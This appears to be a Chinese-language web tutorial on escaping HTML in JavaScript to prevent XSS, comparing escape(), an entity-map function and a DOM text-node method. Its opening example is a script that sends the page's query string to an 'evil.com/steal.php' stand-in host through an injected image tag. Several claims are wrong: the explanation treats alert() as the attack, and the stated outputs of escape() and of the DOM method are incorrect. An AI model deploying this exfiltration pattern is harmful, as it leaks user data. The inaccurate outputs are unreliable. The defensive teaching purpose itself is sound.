📜  js 转义 html - Javascript (1)

📅  最后修改于: 2023-12-03 14:43:33.457000             🧑  作者: Mango

JS 转义 HTML

在 Web 开发中,我们经常需要将 JavaScript 字符串转义为 HTML,以避免 XSS 攻击等安全问题。

什么是 XSS 攻击?

XSS(Cross-site scripting)攻击是一种 web 安全漏洞,攻击者通过在 web 页面中注入恶意脚本,达到窃取用户信息、篡改页面内容等恶意行为的目的。

例如,以下代码片段中的 alert("hello world"); 就是一段可能导致 XSS 攻击的恶意代码:

<script>
  var query = window.location.search.substring(1);
  document.write('<img src="https://evil.com/steal.php?' + query + '">');
  alert("hello world");
</script>

在上述漏洞中,攻击者可以通过 URL 参数注入恶意代码,使得用户在访问链接时弹出一个包含 alert("hello world"); 的弹框,从而实现攻击目的。

如何避免 XSS 攻击?

避免 XSS 攻击的常用方式是输入验证和输出转义。

输入验证是指检查用户输入的数据是否符合预期的格式和类型,从而避免攻击者注入恶意代码。

输出转义是指将 JavaScript 字符串中的特殊字符转义为 HTML 实体,从而避免在页面渲染时执行恶意代码。

下面,我们将着重讲解输出转义的问题。

将 JavaScript 字符串转义为 HTML

将 JavaScript 字符串转义为 HTML 实体有多种方式,常用的有以下几种:

1. 使用内置函数 escape

JavaScript 提供了内置函数 escape,可以将字符转义为 URL 编码,其中一些字符也可以用于转义 HTML 标记。

例如,以下代码片段中的 escape("<script>alert('XSS')</script>") 返回的结果是 %3Cscript%3Ealert('XSS')%3C%2Fscript%3E,其中 %3C 表示 <%3E 表示 >

let html = "<script>alert('XSS')</script>";
let escapedHtml = escape(html); // %3Cscript%3Ealert('XSS')%3C%2Fscript%3E

虽然 escape 函数有一定的转义作用,但是存在一些问题:

  • 它无法正确转义所有 HTML 实体,例如 &nbsp;
  • 当转义后的字符集为非 ASCII 时,它会将字符转义为 %uXXXX 的形式,导致部分字符无法正常显示。

因此,不推荐使用 escape 函数进行 HTML 转义。

2. 使用 HTML 实体

HTML 支持一些特殊字符的实体表示,例如 &lt; 表示 <&gt; 表示 >&amp; 表示 & 等。

通过将 JavaScript 字符串中的特殊字符替换为相应的实体,就能实现 HTML 转义的效果。

以下代码片段展示了一种将字符串转义为 HTML 的实现方式:

function escapeHtml(str) {
  const entityMap = {
    "<": "&lt;",
    ">": "&gt;",
    "&": "&amp;",
    "\"": "&quot;",
    "'": "&#39;",
    "/": "&#x2F;",
    "`": "&#x60;",
    "=": "&#x3D;"
  };
  
  return String(str).replace(/[<>&"'`=\/]/g, (s) => entityMap[s]);
}

let html = "<script>alert('XSS')</script>";
let escapedHtml = escapeHtml(html); // &lt;script&gt;alert(&#39;XSS&#39;)&lt;&#x2F;script&gt;

以上是一种基于正则表达式和实体表的 JavaScript 函数,能够将字符串中的 <>&"'/、`` 和 = 进行转义,并返回转义后的结果。

3. 使用 DOM 操作

如果需要动态插入 HTML 元素,可以使用 DOM 操作来进行转义。

例如,以下代码片段中的 document.createElement('div').appendChild(document.createTextNode(html)).parentNode.innerHTMLhtml 字符串插入一个 <div> 元素中,然后返回转义后的结果。

let html = "<script>alert('XSS')</script>";
let escapedHtml = document.createElement('div').appendChild(document.createTextNode(html)).parentNode.innerHTML; // &lt;script&gt;alert(&#39;XSS&#39;)&lt;&#x2F;script&gt;

虽然此种方式现实了 HTML 转义的有效性,但是使用 DOM 操作也会带来其他问题,例如性能低下、兼容性差等,因此不适用于大规模的字符串转义。

结语

在 Web 开发中,避免 XSS 攻击的重要手段之一是输出转义,本文介绍了三种将 JavaScript 字符串转义为 HTML 实体的方式,分别是使用内置函数 escape、HTML 实体和 DOM 操作。在实际开发中,应根据项目需求和性能要求选择适合的方式进行输出转义。